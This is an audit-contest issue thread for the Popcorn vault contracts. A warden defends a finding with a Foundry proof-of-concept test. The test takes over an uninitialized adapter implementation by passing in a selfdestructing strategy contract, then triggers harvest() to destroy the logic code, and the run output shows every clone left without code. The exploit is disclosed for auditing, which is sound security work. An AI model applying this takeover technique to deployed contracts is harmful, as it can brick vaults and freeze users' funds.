Popcorn contest - eierina's results

RedVeil marked the issue as sponsor disputed

dmvt marked the issue as unsatisfactory: Invalid

Hi @dmvt, not sure why this was disputed and why it was deemed invalid.

The issue is valid, I described the different initializer execution contexts, what can happen if a selfdestruct is called in the implementation, and how that can be achieved by passing a malicious strategy address to the logic contract. Beside that, another warden did find the same issue #712, the sponsor confirmed and the issue is valid.

In short I will post here a small test I wrote to show how to reproduce the issue, if that is not against the policies (Foundry does not support multiple tx in a test and does not maintain state between tests, so that was not straightforward).

Thank you for your time if you look into this!

The test below reuses test__deployVault_adapter_given() from VaultController.t.sol, which sets up an instance with a mock adapter that inherits from BaseAdapter similarly to the Beefy and Yearn ones. The difference is that the test is run in the setup and then assertions repeated in the test. This is so that between the logic injected selfdestruct can execute in the setup and then the test executes in a new transaction after the selfdestruct finalizes.

The flag doDestroyLogic can be set to true or false, and the only difference this makes for the test, is that if set to true, at the end of the setup it calls harvest() on the mock adapter which destroys the logic. The test pass as expected when doDestroyLogic is false, while it fails when the doDestroyLogic is true.

// SPDX-License-Identifier: GPL-3.0
// Docgen-SOLC: 0.8.15

pragma solidity ^0.8.15;

import {Test} from "forge-std/Test.sol";

import {CloneRegistry} from "../../src/vault/CloneRegistry.sol";
import {CloneFactory} from "../../src/vault/CloneFactory.sol";
import {PermissionRegistry} from "../../src/vault/PermissionRegistry.sol";
import {TemplateRegistry, Template} from "../../src/vault/TemplateRegistry.sol";
import {DeploymentController} from "../../src/vault/DeploymentController.sol";
import {VaultController, IAdapter, VaultInitParams, VaultMetadata} from "../../src/vault/VaultController.sol";
import {Vault} from "../../src/vault/Vault.sol";
import {AdminProxy} from "../../src/vault/AdminProxy.sol";
import {VaultRegistry} from "../../src/vault/VaultRegistry.sol";

import {MultiRewardEscrow} from "../../src/utils/MultiRewardEscrow.sol";
import {MultiRewardStaking} from "../../src/utils/MultiRewardStaking.sol";

import {ICloneRegistry} from "../../src/interfaces/vault/ICloneRegistry.sol";
import {ICloneFactory} from "../../src/interfaces/vault/ICloneFactory.sol";
import {IPermissionRegistry, Permission} from "../../src/interfaces/vault/IPermissionRegistry.sol";
import {ITemplateRegistry} from "../../src/interfaces/vault/ITemplateRegistry.sol";
import {IDeploymentController} from "../../src/interfaces/vault/IDeploymentController.sol";
import {IVaultRegistry} from "../../src/interfaces/vault/IVaultRegistry.sol";
import {IAdminProxy} from "../../src/interfaces/vault/IAdminProxy.sol";
import {IVaultController, DeploymentArgs} from "../../src/interfaces/vault/IVaultController.sol";

import {IMultiRewardEscrow} from "../../src/interfaces/IMultiRewardEscrow.sol";
import {IMultiRewardStaking} from "../../src/interfaces/IMultiRewardStaking.sol";
import {IOwned} from "../../src/interfaces/IOwned.sol";
import {IPausable} from "../../src/interfaces/IPausable.sol";

import {IERC4626, IERC20} from "../../src/interfaces/vault/IERC4626.sol";
import {IVault, VaultFees} from "../../src/interfaces/vault/IVault.sol";

import {MockERC20} from "../utils/mocks/MockERC20.sol";
import {MockERC4626} from "../utils/mocks/MockERC4626.sol";
import {MockAdapter} from "../utils/mocks/MockAdapter.sol";
import {MockStrategy} from "../utils/mocks/MockStrategy.sol";

contract SelfDestructStrategy {
    fallback() external {
        selfdestruct(payable(msg.sender));
    }
}

contract SelfDestructTest is Test {
    ITemplateRegistry templateRegistry;
    IPermissionRegistry permissionRegistry;
    ICloneRegistry cloneRegistry;
    IVaultRegistry vaultRegistry;

    ICloneFactory factory;
    IDeploymentController deploymentController;
    IAdminProxy adminProxy;

    address stakingImpl;
    IMultiRewardStaking staking;
    IMultiRewardEscrow escrow;

    VaultController controller;

    MockERC20 asset;
    IERC20 iAsset;

    MockERC20 rewardToken;
    IERC20 iRewardToken;

    address adapterImpl;

    address strategyImpl;

    address vaultImpl;

    address nonOwner = makeAddr("non owner");
    address registry = makeAddr("registry");

    address alice = address(0xABCD);
    address bob = address(0xDCBA);
    address feeRecipient = address(0x9999);

    bytes32 templateCategory = "templateCategory";
    bytes32 templateId = "MockAdapter";
    string metadataCid = "cid";
    bytes4[8] requiredSigs;
    address[8] swapTokenAddresses;

    address vaultClone;
    address adapterClone;
    bool doDestroyLogic = true;

    function setUp() public {
        stakingImpl = address(new MultiRewardStaking());
        adapterImpl = address(new MockAdapter());
        strategyImpl = address(new MockStrategy());
        vaultImpl = address(new Vault());

        asset = new MockERC20("Test Token", "TKN", 18);
        iAsset = IERC20(address(asset));

        rewardToken = new MockERC20("RewardToken", "RTKN", 18);
        iRewardToken = IERC20(address(rewardToken));

        adminProxy = IAdminProxy(address(new AdminProxy(address(this))));

        permissionRegistry = IPermissionRegistry(
            address(new PermissionRegistry(address(adminProxy)))
        );
        vaultRegistry = IVaultRegistry(
            address(new VaultRegistry(address(adminProxy)))
        );
        escrow = IMultiRewardEscrow(
            address(new MultiRewardEscrow(address(adminProxy), feeRecipient))
        );

        deployDeploymentController();
        deploymentController.nominateNewOwner(address(adminProxy));
        adminProxy.execute(
            address(deploymentController),
            abi.encodeWithSelector(IOwned.acceptOwnership.selector, "")
        );

        controller = new VaultController(
            address(this),
            adminProxy,
            deploymentController,
            vaultRegistry,
            permissionRegistry,
            escrow
        );

        adminProxy.nominateNewOwner(address(controller));
        controller.acceptAdminProxyOwnership();

        bytes32[] memory templateCategories = new bytes32[](4);
        templateCategories[0] = "Vault";
        templateCategories[1] = "Adapter";
        templateCategories[2] = "Strategy";
        templateCategories[3] = "Staking";
        controller.addTemplateCategories(templateCategories);

        addTemplate("Staking", "MultiRewardStaking", stakingImpl, true, true);
        // ========================================================================
        // test__deployVault_adapter_given is split so that part of it executes here
        // while asserts execute in the original test. This way the asserts execute
        // in the next transaction. This is required because Foundry Forge does not
        // offer other way to test scenarios other than single-transaction ones.
        // In this case we need asserts to execute in the "next" transaction because
        // the selfdestruct is effective at the end of the originating transaction.
        // =======================================================================1<
        addTemplate("Adapter", templateId, adapterImpl, true, true);
        addTemplate("Strategy", "MockStrategy", strategyImpl, false, true);
        addTemplate("Vault", "V1", vaultImpl, true, true);
        controller.setPerformanceFee(uint256(1000));
        controller.setHarvestCooldown(1 days);
        rewardToken.mint(address(this), 10 ether);
        rewardToken.approve(address(controller), 10 ether);

        swapTokenAddresses[0] = address(0x9999);
        address stakingClone = 0x949DEa045FE979a11F0D4A929446F83072D81095;

        /*address*/ adapterClone = controller.deployAdapter(
            iAsset,
            DeploymentArgs({id: templateId, data: abi.encode(uint256(300))}),
            DeploymentArgs({id: "", data: ""}),
            0
        );

        uint256 callTimestamp = block.timestamp;
        /*address*/ vaultClone = controller.deployVault(
            VaultInitParams({
                asset: iAsset,
                adapter: IERC4626(address(adapterClone)),
                fees: VaultFees({
                    deposit: 100,
                    withdrawal: 200,
                    management: 300,
                    performance: 400
                }),
                feeRecipient: feeRecipient,
                owner: address(this)
            }),
            DeploymentArgs({id: "", data: ""}),
            DeploymentArgs({id: "", data: ""}),
            address(0),
            abi.encode(
                address(rewardToken),
                0.1 ether,
                1 ether,
                true,
                10000000,
                2 days,
                1 days
            ),
            VaultMetadata({
                vault: address(0),
                staking: address(0),
                creator: address(this),
                metadataCID: metadataCid,
                swapTokenAddresses: swapTokenAddresses,
                swapAddress: address(0x5555),
                exchange: uint256(1)
            }),
            0
        );
        // =======================================================================1>

        // This test code is equivalent to VaultController.t.sol with the following exceptions:
        // - all tests removed except test__deployVault_adapter_given
        // - most of test__deployVault_adapter_given code moved to setUp() (see above)
        // - test__deployVault_adapter_given only contain original test's asserts
        // - adapterClone and vaultClone are global to persist between setUp and the test
        // - the test__deployVault_adapter_given is split this way so that asserts execute in next transaction
        // - the additional code below initializes the adapterImpl that has been already cloned
        //   and after the adapter clone has already been initialized. A `SelfDestructStrategy` contract
        //   is passed to the initialize method of the logic contract so that the __AdapterBase_init function
        //   receives a payload that will set the _strategy address to my SelfDestructStrategy contract.
        // - 

        vm.startPrank(address(0x70a573d)); // <== just to make sure the attacker is someone who never interacted before
                                           //   ^ i.e. not a deployer, not an owner, just someone from nowhere.
        MockAdapter(adapterImpl).initialize(
            abi.encode(address(rewardToken), address(this), address(new SelfDestructStrategy()), 0, requiredSigs, bytes("")),
            address(0),
            bytes(abi.encode(uint256(123))) // <== this has no effects on the adapter clones, only on adapter logic
        );
        vm.stopPrank();

        // =======================================================================2<
        // Assert Vault
        assertEq(IVault(vaultClone).adapter(), adapterClone);
        // Assert Adapter
        assertTrue(cloneRegistry.cloneExists(adapterClone));
        assertEq(MockAdapter(adapterClone).initValue(), 300);
        assertEq(IAdapter(adapterClone).harvestCooldown(), 1 days);
        assertEq(IAdapter(adapterClone).performanceFee(), 1000);
        assertEq(IAdapter(adapterClone).strategy(), address(0));
        // =======================================================================2>

        vm.warp(block.timestamp + 1 days); // <== to ensure harvest will trigger the delegatecall

        if(doDestroyLogic) {            
            vm.startPrank(address(0x70a573d));
            MockAdapter(adapterImpl).harvest(); // <== destroys adapterImpl!! adapter clone has data storage only, no code to call to anymore.
                                                //   ^ since the clone is a plain forwarder it will forward and return calls to and from
                                                //     the code of adapterImpl, which do not exists anymore. As a result, any call to any
                                                //     adapter clone will yeld no resultdata.
            vm.stopPrank();
        }        
    }

    function test__deployVault_adapter_given() public {
        // =======================================================================1<
        // addTemplate("Adapter", templateId, adapterImpl, true, true);
        // addTemplate("Strategy", "MockStrategy", strategyImpl, false, true);
        // addTemplate("Vault", "V1", vaultImpl, true, true);
        // controller.setPerformanceFee(uint256(1000));
        // controller.setHarvestCooldown(1 days);
        // rewardToken.mint(address(this), 10 ether);
        // rewardToken.approve(address(controller), 10 ether);

        // swapTokenAddresses[0] = address(0x9999);
        // address stakingClone = 0x949DEa045FE979a11F0D4A929446F83072D81095;

        // address adapterClone = controller.deployAdapter(
        //     iAsset,
        //     DeploymentArgs({id: templateId, data: abi.encode(uint256(300))}),
        //     DeploymentArgs({id: "", data: ""}),
        //     0
        // );

        // uint256 callTimestamp = block.timestamp;
        // address vaultClone = controller.deployVault(
        //     VaultInitParams({
        //         asset: iAsset,
        //         adapter: IERC4626(address(adapterClone)),
        //         fees: VaultFees({
        //             deposit: 100,
        //             withdrawal: 200,
        //             management: 300,
        //             performance: 400
        //         }),
        //         feeRecipient: feeRecipient,
        //         owner: address(this)
        //     }),
        //     DeploymentArgs({id: "", data: ""}),
        //     DeploymentArgs({id: "", data: ""}),
        //     address(0),
        //     abi.encode(
        //         address(rewardToken),
        //         0.1 ether,
        //         1 ether,
        //         true,
        //         10000000,
        //         2 days,
        //         1 days
        //     ),
        //     VaultMetadata({
        //         vault: address(0),
        //         staking: address(0),
        //         creator: address(this),
        //         metadataCID: metadataCid,
        //         swapTokenAddresses: swapTokenAddresses,
        //         swapAddress: address(0x5555),
        //         exchange: uint256(1)
        //     }),
        //     0
        // );
        // =======================================================================1>

        // The above code and the below test are executed in the setup. The tests
        // are repeated here to show that the tests start to fail only after the
        // harvest() is called on the took-over of the uninitialized adapter logic.
        //
        // The split between setup and the test itself is required because of the
        // fact that tests execute in a single transaction and Foundry does not 
        // support other scenarios. However, the setUp() and the test itself execute
        // in separate transactions, which gives the chance for a selfdestruct that
        // happens in the setUp() transaction to have effects on the test's one.

        // if(doDestroyLogic) {
        //     // To show that the proxy/clone no longer has any code to call, the following code makes a low-level call
        //     // and show that the resultdata is 0, like in the case of a void return function.
        //     (bool success, bytes memory resultdata) = adapterClone.call(abi.encodeWithSignature("initValue()"));
        //     assertEq(success, true); //<== the call still succeeds, because the proxy code only forwards calls from proxy fallback to logic contract code
        //     assertEq(resultdata.length, 0); // <== *BUT* the logic code DOES NOT EXIST ANYMORE, so the call returns no data at all where it would be expected 32 bytes of uint256
        // } else {
        //     // To balance the upper if branch we do the same call and show that when the contract logic code was not destroyed
        //     // the resultdata is 32 bytes long as expected in the case of a function that returns an uint256.
        //     (bool success, bytes memory resultdata) = adapterClone.call(abi.encodeWithSignature("initValue()"));
        //     assertEq(success, true); //<== all good, the call succeeds
        //     assertEq(resultdata.length, 32); // <== the proxy forwards the call to logic contract code which returns an uint256 of 32 bytes
        // }

        emit log_named_uint("Adapter logic contract code size: ", adapterImpl.code.length);

        // =======================================================================2<
        // Assert Vault
        assertEq(IVault(vaultClone).adapter(), adapterClone);
        // Assert Adapter
        assertTrue(cloneRegistry.cloneExists(adapterClone));
        assertEq(MockAdapter(adapterClone).initValue(), 300); // <== if the clone's logic contract has been destroyed, initValue will yeld no result!
        assertEq(IAdapter(adapterClone).harvestCooldown(), 1 days);
        assertEq(IAdapter(adapterClone).performanceFee(), 1000);
        assertEq(IAdapter(adapterClone).strategy(), address(0));
        // =======================================================================2>
    }

    /*//////////////////////////////////////////////////////////////
                              HELPER
    //////////////////////////////////////////////////////////////*/

    function deployDeploymentController() public {
        factory = ICloneFactory(address(new CloneFactory(address(this))));
        cloneRegistry = ICloneRegistry(
            address(new CloneRegistry(address(this)))
        );
        templateRegistry = ITemplateRegistry(
            address(new TemplateRegistry(address(this)))
        );

        deploymentController = IDeploymentController(
            address(
                new DeploymentController(
                    address(this),
                    factory,
                    cloneRegistry,
                    templateRegistry
                )
            )
        );

        factory.nominateNewOwner(address(deploymentController));
        cloneRegistry.nominateNewOwner(address(deploymentController));
        templateRegistry.nominateNewOwner(address(deploymentController));
        deploymentController.acceptDependencyOwnership();
    }

    function addTemplate(
        bytes32 templateCategory,
        bytes32 templateId,
        address implementation,
        bool requiresInitData,
        bool endorse
    ) public {
        deploymentController.addTemplate(
            templateCategory,
            templateId,
            Template({
                implementation: implementation,
                endorsed: false,
                metadataCid: metadataCid,
                requiresInitData: requiresInitData,
                registry: registry,
                requiredSigs: requiredSigs
            })
        );
        bytes32[] memory templateCategories = new bytes32[](1);
        bytes32[] memory templateIds = new bytes32[](1);
        templateCategories[0] = templateCategory;
        templateIds[0] = templateId;
        if (endorse)
            controller.toggleTemplateEndorsements(
                templateCategories,
                templateIds
            );
    }

    function deployAdapter() public returns (address) {
        return
            controller.deployAdapter(
                iAsset,
                DeploymentArgs({
                    id: templateId,
                    data: abi.encode(uint256(100))
                }),
                DeploymentArgs({id: "", data: ""}),
                0
            );
    }

    function deployVault() public returns (address) {
        rewardToken.mint(address(this), 10 ether);
        rewardToken.approve(address(controller), 10 ether);

        return
            controller.deployVault(
                VaultInitParams({
                    asset: iAsset,
                    adapter: IERC4626(address(0)),
                    fees: VaultFees({
                        deposit: 100,
                        withdrawal: 200,
                        management: 300,
                        performance: 400
                    }),
                    feeRecipient: feeRecipient,
                    owner: address(this)
                }),
                DeploymentArgs({
                    id: templateId,
                    data: abi.encode(uint256(100))
                }),
                DeploymentArgs({id: "MockStrategy", data: ""}),
                address(0),
                abi.encode(
                    address(rewardToken),
                    0.1 ether,
                    1 ether,
                    true,
                    10000000,
                    2 days,
                    1 days
                ),
                VaultMetadata({
                    vault: address(0),
                    staking: address(0),
                    creator: address(this),
                    metadataCID: metadataCid,
                    swapTokenAddresses: swapTokenAddresses,
                    swapAddress: address(0x5555),
                    exchange: uint256(1)
                }),
                0
            );
    }
}

doDestroyLogic = false

Running 1 test for test/vault/SelfDestruct.t.sol:SelfDestructTest
[PASS] test__deployVault_adapter_given() (gas: 42051)
Logs:
  Adapter logic contract code size: : 14026

Test result: ok. 1 passed; 0 failed; finished in 6.90ms

doDestroyLogic = true

Running 1 test for test/vault/SelfDestruct.t.sol:SelfDestructTest
[FAIL. Reason: EvmError: Revert] test__deployVault_adapter_given() (gas: 30212)
Logs:
  Adapter logic contract code size: : 0

Test result: FAILED. 0 passed; 1 failed; finished in 9.24ms

Failing tests:
Encountered 1 failing test in test/vault/SelfDestruct.t.sol:SelfDestructTest
[FAIL. Reason: EvmError: Revert] test__deployVault_adapter_given() (gas: 30212)

Encountered a total of 1 failing tests, 0 tests succeeded

dmvt changed the severity to 2 (Med Risk)

dmvt marked the issue as duplicate of #712

dmvt marked the issue as satisfactory

dmvt marked the issue as selected for report